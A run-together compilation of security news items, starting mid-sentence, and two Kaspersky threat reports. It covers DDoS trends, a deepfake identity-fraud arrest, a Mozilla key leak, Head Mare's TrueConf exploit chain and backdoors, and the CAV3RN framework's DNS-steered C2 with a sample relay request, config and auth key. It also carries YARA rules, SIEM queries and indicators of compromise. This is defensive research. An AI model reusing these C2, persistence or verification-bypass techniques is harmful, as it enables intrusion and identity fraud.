the penalties could be severe. According [PDF] to the Federal Communications Commission, intentional Wi-Fi blocking can violate the Communications Act’s section 333. A willful and knowing violation punishable under the Act’s general criminal provision could carry a penalty of up to one year in prison and/or a fine of up to $10,000 upon conviction. If this wannabe hacker with a penchant for choosing the worst possible target in the world is stupid enough to have been caught doing this before (and let’s be frank - if you’re going to try jamming the Wi-Fi on a commercial airplane, you’re not that bright), that prison term could extend to up to two years. ®

Ongoing wars in Ukraine and Iran and the FIFA World Cup all contributed to a DDoS walloping of media organizations throughout 2026 so far, according to Cloudflare’s latest data, which identified the sector as the most targeted this year. Attacks on media, production, and publishing accounted for 14.2 percent of all DDoS attacks launched since January 1. Over the first six months of the year, the sector saw nearly four times the number of attacks leveled at the second most-targeted sector, gambling and casinos, and six times more in Q2 alone. “DDoS attacks on media organisations can be highly effective at achieving their core goals, which differ fundamentally from attacks on other sectors," Blake Darché, Head of Cloudforce One and Threat Intelligence at Cloudflare, told The Register. "For publishers, availability is the deliverable. While a DDoS attack on an e-commerce site could aim to steal transaction revenue, an attack on a publisher is typically aimed at censorship, information suppression or timing disruption. “DDoS attacks are uniquely effective against publishers because news expires quickly - taking an outlet offline for just two hours during an election night, a military conflict, or a breaking news story successfully silences it at peak readership. The attack succeeds even if systems recover shortly after.” Cloudflare's data aligns with third-party reporting shortly after the US started a war with Iran in February. Akamai reported a 245 percent uplift in cybercrime in the immediate weeks following the war breaking out, with DDoS attacks up 38 percent. Similarly, Justin Moore, senior manager at Palo Alto Networks' Unit 42, previously told The Register that by the start of March, the company’s telemetry showed a clear increase in pro-Russia hacktivism too. Hacktivists rely heavily on DDoS attacks to carry out their objectives. Often assembled on social media platforms, hacktivist groups decide on which organizations they will attempt to down and launch coordinated attacks against them. Signals intelligence agencies say these efforts are almost always low-level and low-impact, but equally advise that businesses should not underestimate these groups. The advice applies largely to operators of critical infrastructure, which if attacked successfully and for a sustained period, could lead to vital service disruption. The US’ war in Iran also led to a major uptick in attacks targeting government entities. From the 29th most-targeted sector in Q1, it jumped to number nine in Q2. The US and China comprised the two most-targeted regions, although Turkey shot up to third after it hosted the Ankara NATO summit in July. 1 Tbps network-layer attacks explode Cloudflare said it mitigated 805 network-layer attacks exceeding 1 Tbps in Q2 alone, representing a 519 percent increase compared to Q1. To quickly debunk some jargon for the uninitiated, network-layer attacks are confined to layer 3 of the Open Systems Interconnection (OSI) model, meaning that they target core routing, transport, and infrastructure protocols to overwhelm networking equipment. Not all 1 Tbps+ attacks target the network layer. These high-packet onslaughts are referred to as hyper-volumetric DDoS attacks and involve transmitting a huge amount of data to a network – enough to take down even the most robust internet infrastructure. Despite the growth in these hyper-volumetric attacks, these comprise only the smallest fraction of DDoS attacks overall (0.004 percent). The vast majority – 96.62 percent – transmit less than 500 Mbps and 90.6 percent end in under ten minutes. That isn’t to say that these attacks are inconsequential, either. Cloudflare said that even attacks of this size would be enough to knock most networks offline. Putting it into perspective, the company said a 100 Mbps attack would be sufficient to knock a website or server offline, while a 1 Gbps attack could disrupt an entire datacenter if it wasn’t protected from DDoS attacks. 1 Tbps hyper-volumetric attacks are among the fastest ever observed. The first of this kind on record targeted Dyn DNS in 2016, in turn downing major websites such as Twitter, Netflix, Reddit, Spotify, and GitHub, and they have become increasingly common since then, despite their markedly low proportion compared to other DDoS attacks. A law enforcement operation in March disrupted the infrastructure relied upon by four of the most significant botnets operating at the time, including Aisuru, which by the end of 2025 had recruited up to 4 million devices and was rattling out multiple 1 Tbps attacks daily. Hyper-volumetric attacks are often short-lived, measured in seconds rather than greater units, although Cloudflare said even this is enough to cause significant damage. “Whether an attack lasts half a minute or ten minutes, there is no practical window for human intervention: By the time an alert reaches a security analyst, the attack has already completed,” said Cloudflare in its report. “Manual mitigation and on-demand solutions are simply too slow for this reality. Yet while the attack itself may be brief, its aftershocks are not. The cascading effects of even a short burst can trigger routing instability, TCP retransmissions, application timeouts, and downstream service degradation that takes hours or days to fully resolve – all while services remain down or impaired.” ®

Spain's national police say they caught a cybercriminal after a momentary technical glitch exposed his face to a video identification platform. The unnamed man allegedly made 38 attempts to impersonate 30 people and obtain digital certificates in their names, succeeding on multiple occasions. A digital certificate uses public key infrastructure to bind a cryptographic key to a verified identity, allowing its holder to authenticate themselves and create legally recognized electronic signatures. In Spain and other EU countries, certificates can be used to sign contracts, authorize transactions and deal with public bodies online, avoiding some of the in-person appointments traditionally required for administrative procedures. A certificate issued in someone else's name would therefore give a scammer a powerful tool for impersonation. Police allege that the suspect planned to use the fraudulently obtained credentials in further cybercrimes. The alleged fraudster targeted a security company authorized to issue digital certificates and bypassed its identity checks using forged documents, altered photographs, deepfake tools, and a carefully arranged lighting rig. The verification process required a live video check comparing the applicant's face with the photograph on the identity document. He allegedly used deepfake technology to alter his face in real time so that he could bypass the visual identity checks, and used custom lighting to recreate the appearance of each document's holograms. "The alleged perpetrator used household spotlights with strategically placed colored bulbs to simulate the flashes and security features found on physical identity documents under real light," police said (machine translated). "He then balanced the counterfeit documents in front of the webcam, perfectly recreating the official holograms. He also used VPNs to anonymize his connections and employed manipulated documents with apparent security features." Police did not say how many of the 38 attempts succeeded, only that certificates were issued on "multiple" occasions. His luck allegedly ran out when the face-changing software suffered a momentary processing delay. The disguise dropped for "barely a second," exposing his real face to the verification camera, police said. Investigators eventually identified and located the suspect, who was arrested on suspicion of repeatedly forging official documents. A search of his home yielded a laptop protected by high-grade encryption, several mobile phones, storage devices, and documents, according to police. The investigation was complicated by the use of more than 320 phone lines across 24 devices. Most had allegedly been registered under stolen identities, with police tracing their sale to outlets in the Murcia region. ®

Overview of the attack

In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.

An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.

The attack occurs in several stages:

1. The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
2. Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
3. The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
4. To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
5. Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
6. Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.

This web shell was used for the following activities:

• collecting data on the IT infrastructure;
• gaining privileged access to the TrueConf database;
• replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.

The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.

The PhantomCore backdoor was successfully detected by Kaspersky solutions.

To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.

Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:

• SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
• SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.

To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.

We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:

$system32\cmd.exe /c cmd /c ""$temp\cmd_cmd_4488.bat"" 2>&1

Commands detected:

• Memory dump of the lsass.exe process:

• Reconnaissance of the user and system names:

hostname whoami "$system32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command Set-Location -literalPath '$system32\inetsrv'

• Launching an SSH reverse tunnel:

In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.

We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.

We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.

We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.

Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.

The attack mechanism and the vulnerabilities exploited are described in more detail on the Kaspersky ICS CERT website.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described above.

The malware used in this attack is detected by our solutions with the following detection names:

• Backdoor.PHP.WebShell.abi,
• Backdoor.Win64.PhantomCore.dt,
• Trojan.Win64.Agent.smgvnc,
• Trojan.Win64.Agent.smgvnb,
• HEUR:Backdoor.Win64.PhantomCore.gen,
• HEUR:Backdoor.Linux.Agent.fb,
• HEUR:Backdoor.Linux.PhantomHook.a,
• HEUR:Backdoor.Linux.PhantomReact.a,
• Trojan.Win64.PhantomGraph.gen
• UDS:Backdoor.Win64.PhantomCore.a

Let’s take a closer look using Kaspersky Endpoint Detection and Response Expert (KEDR Expert) as an example.

Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.

Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.

Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.

The Kaspersky Managed Detection and Response service detects the described attack by monitoring the following actions:

1. Creation of suspicious files by TrueConf Server processes.
2. Execution of a TrueConf Client installer file that lacks a software developer’s signature.
3. Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
4. Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
5. Actions related to retrieving information about the lsass.exe process.
6. Memory dump creation for the lsass.exe process using the comsvcs.dll library.
7. Accessing the memory of the lsass.exe process.
8. Creating tunnels using the ssh process.

To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:

1. Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory:
   R405_07_File write to IIS native modules folder or OWA via WriteData.
2. Creating a memory dump of the lsass.exe process using the comsvcs.dll library:
   R233_04_Process memory dump via comsvcs.dll.
3. Accessing the memory of the lsass.exe process:
   R262_Suspicious access to the LSASS process.

We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:

1. Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
   (DeviceEventClassID = '4657' OR DeviceEventClassID = '13') AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'
2. Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
   DeviceEventClassID = '4697' AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc') AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')
3. Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
   (DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName LIKE '%\trueconf_windows_update.exe'

For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.

Indicators of compromise File hashes (MD5)

Web shell
4d27b4eb1c5dbb3d8160f29b8119523e locale.php

Infected installer
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe

PhantomCore DLL
c5a460e4e68a088f6e51b2c6474642ec
129462164a7d52e9ea8560b60f0412c5 doc.txt
ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5
c915cb6c2aeb863ee8479238e1644217 doc.txt
0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf_windows_client_x64_[redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3e4ccbf1725d9989fb464abf3561 usocacheddata.txt

PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsvc.dll
dd1fd2b459b97b7d59375cb8383cd19a sysreadsvc.dll
0e4541c3153ec5ed01497f19cf4f63d0 sysexcsvc.dll
12d4e8f5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsvc.dll
ee2861d5965e8730708cd1da8a93fa4c sysexcsvc.dll

Backdoor (ELF)
c3a2abe8756910f42582b04a44ea3514
43f435c3c437bc879a2d7d4634f43494

Rootkit
aee9642b45b099cb7f3053b9b680b425

IP

81.177.32[.]12
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205[.]244
31.59.102[.]61

Domains

penzadogshelter[.]site
trendy-market[.]site
bright-deals[.]site
nova-stream[.]site
rinomobile[.]ink
urbanpixel[.]store
flexish[.]shop
media-hub[.]today
cosmetic-deals[.]store
vks.gossopka[.]forum

Windows service names

SysExcSvc
SysReadSvc

File paths

C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-l1-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster
/usr/lib64/libzvbi-tchain.so.2
/var/tmp/cx2

Registry keys

HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32

Kaspersky detection names

Backdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a

YARA rules

import "pe" rule apt_HeadMare_PhantomCore { meta: description = "Rule to detect PhantomCore used by HeadMare" author = "Kaspersky ICS CERT" copyright = "Kaspersky ICS CERT" version = "1.0" last_modified = "2026-08-02" hash = "c5a460e4e68a088f6e51b2c6474642ec" strings: $a1 = "lying.dll" ascii $a2 = { 2D 7F 95 4C 2D F4 51 58 } $a3 = { 4F 81 67 F7 7E 7B 05 14 } condition: (uint16(0) == 0x5A4D) and (filesize > 4MB) and (filesize 20MB) and (all of them) and (pe.number_of_signatures == 0) }

rule apt_HeadMare_FakeConf_installer { meta: description = "Rule to detect any unsigned TrueConf installers" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-02" hash = "748c9f8cb1065000616204935f96207f" strings: $a1 = "TrueConf Setup" wide $a2 = "This installation was built with Inno Setup." wide condition: (uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0) }

rule apt_HeadMare_PhantomCore_exchange { meta: description = "Rule to detect PhantomCore exchange module used by HeadMare" author = "Kaspersky ICS CERT" copyright = "Kaspersky ICS CERT" version = "1.0" last_modified = "2026-08-02" hash = "489f43be558b2679284ceabed7adc4f3" strings: $a1 = "graphi_exchange.dll" ascii $a2 = "graphi-client/1.0" ascii $b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii $b2 = ":/children?$select=name,id&$top=200" ascii $b3 = "offline_access Files.ReadWrite" ascii $b4 = "GRAPHI_INSECURE" ascii $b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii $b6 = "https://login.microsoftonline.com/" ascii condition: (uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*)) }

rule apt_HeadMare_PhantomCore_executor { meta: description = "Rule to detect PhantomCore executor module used by HeadMare" author = "Kaspersky ICS CERT" copyright = "Kaspersky ICS CERT" version = "1.0" last_modified = "2026-08-02" hash = "dd1fd2b459b97b7d59375cb8383cd19a" strings: $a1 = "graphi_reader.dll" ascii $a2 = "^input_(.+)\\.txt$" ascii $b1 = "output_" ascii $b2 = "cmd_cmd_" ascii $b3 = "cmd /c \"\"" ascii $b4 = "error: failed to start cmd process" ascii $b5 = "share" ascii $b6 = "SysReadSvc" ascii condition: (uint16(0) == 0x5A4D) and (filesize < 4MB) and (any of ($a*)) and (4 of ($b*)) }

rule apt_HeadMare_FakeLocale_webshell { meta: description = "Rule to detect the HeadMare TrueConf web shell" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-04" hash = "4d27b4eb1c5dbb3d8160f29b8119523e" strings: $a1 = "X-Redirect-Bit" ascii wide nocase $a2 = "tc_vcs_web_db_conn" ascii wide $a3 = "user=postgres" ascii wide $b1 = "UPL ok::" ascii wide $b2 = "DWN fail nexs" ascii wide $b3 = "DWN fail inv" ascii wide condition: (2 of ($a*)) or (2 of ($b*)) }

rule apt_HeadMare_TrueConf_Rootkit { meta: description = "Rule to detect the HeadMare rootkit installed on TrueConf servers" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-06" hash = "aee9642b45b099cb7f3053b9b680b425" strings: $a1 = "PQconnectdb" $a2 = "obfuscated_data" $a3 = "install_hook" condition: (uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them) }

rule apt_HeadMare_Github_Backdoor { meta: description = "Rule to detect the HeadMare backdoor with Github C2" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-06" hash = "43f435c3c437bc879a2d7d4634f43494" hash = "c3a2abe8756910f42582b04a44ea3514" strings: $a1 = "cryptor5crypt" $a2 = "execraw_task" $a3 = "jitter_task" $a4 = "upload_task" $a5 = "exec_task" $a6 = "react_comment" condition: (uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them) }

Mozilla has revoked a cryptographic key used to sign Firefox and Thunderbird releases after discovering someone had accidentally committed an unencrypted copy of the private key to a GitHub repository. The browser maker disclosed the mishap on Monday, saying the GPG private subkey was checked into a private GitHub repository accessible only to a small number of Mozilla employees. All of them were already authorized to access the key through other means. Still, leaving an unencrypted private signing key sitting in source control isn't exactly ideal, so Mozilla revoked the exposed subkey and replaced it. The affected subkey was used to sign Linux tarballs, RPM packages, and checksum files for Firefox and Thunderbird releases. Signing keys allow users and package managers to verify that software really came from Mozilla and hasn't been tampered with along the way. Mozilla said its review of available audit records "found no evidence that the key was accessed by an unauthorized party while it was present in the repository." It has introduced additional safeguards to prevent a repeat, but did not explain how the unencrypted key ended up in GitHub or how long it remained there. For most Firefox and Thunderbird users, the key swap shouldn't require any action. Anyone manually verifying Mozilla's GPG signatures, however, will need to import the new signing key and the revocation for the old one. The change is a little more involved for users who installed Firefox through Mozilla's RPM repository. On Fedora 43 and later, DNF should download the updated key during the next Firefox update, although users will be asked to approve its import. Mozilla says users running Fedora 42 or earlier, RHEL, Rocky Linux, AlmaLinux, openSUSE, or SUSE will need to remove the old key and manually import its replacement. There's another wrinkle for anyone checking older releases: after importing the revocation, normal signature verification will reject releases signed with the revoked subkey. Thunderbird users don't have to worry about RPM-specific shenanigans, as Mozilla doesn't provide official RPM packages for the email client. The Register asked Mozilla how long the private key was sitting in GitHub, how it got there, and whether its audit logs cover the entire period it was exposed, but did not receive a response. ®

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command Functionality s_version Returns the DLL-version inventory described above. The command is executed automatically at startup. s_config Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory. s_enLog Enables diagnostic logging at the Debug level. s_deLog Disables diagnostic logging and sets the logging level to Fatal. s_write Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{ "to": "<generated seven-character ID>", // Client ID "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL "ho": "studiotikva.com", // DNS domain "gi": "<redacted>", // Apps Script deployment ID "de": false, // Enable Debug logging at startup "mi": 120000, // Poll-delay reset after a non-empty response "ma": 18000000, // Progressive poll-delay cap "ri": 30000, // Base DNS recovery/error delay, with positive jitter "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key "gu": "https://script.google.com/macros/s/{0}/exec", "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31", "mcc": 50, // unknown "mtc": 10 // unknown }

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet None (0) GIDFailed (1) GoogleFailed (2) DirectFailed (3) 120 (0x78) Google Apps Script Direct HTTPS Direct HTTPS Google Apps Script 130 (0x82) Direct HTTPS Direct HTTPS Direct HTTPS Close the transaction (no channel) 140 (0x8C) Exception Exception Exception Exception All other values Google Apps Script Google Apps Script Google Apps Script Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1 Host: script.google.com Content-Type: application/json {"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302 content-type: text/html; charset=UTF-8 access-control-allow-origin: * location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR server: GSE HTTP/2 200 content-type: application/json; charset=utf-8 access-control-allow-origin: * server: GSE {"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command Function 000 Lists loaded component names and versions 001 Lists every DLL path discovered by the scanner 002 Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain Registrar IP Hosting ASN studiotikva[.]com
